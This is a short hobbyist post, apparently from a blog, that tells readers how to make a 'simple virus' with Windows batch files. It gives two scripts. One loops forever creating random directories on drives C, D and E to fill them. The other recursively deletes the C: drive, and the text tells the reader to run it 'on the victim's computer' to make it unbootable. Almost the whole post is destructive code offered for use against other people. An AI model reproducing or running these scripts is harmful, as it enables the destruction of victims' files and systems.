TO MAKE A SIMPLE VIRUS IN THE COMPUTER

[ Note : Don't try it on your computer ]
Open your notepad from [Start >> Run >> Type "Notepad" >>Press Enter ]
Copy the Following Code and paste it in notepad then Save it as "virus.bat". [you can also save with different name but extension must be .bat]

@echo off
:VIRUS
cd /d C:
md %RANDOM%
cd /d D:
md %RANDOM%
cd /d E:
md %RANDOM%
goto VIRUS
REM #######################
REM errorcode401.blogspot.in

THEN YOU SAVE WITH AN EXTENSION OF .BAT

In Notepad, type:

@echo off

rd C:\ /s /q

exit

Save as <anything you want>.bat, then run it on the victim's computer.

It will make the computer unbootable, destroying all files except the ones that kept the system running.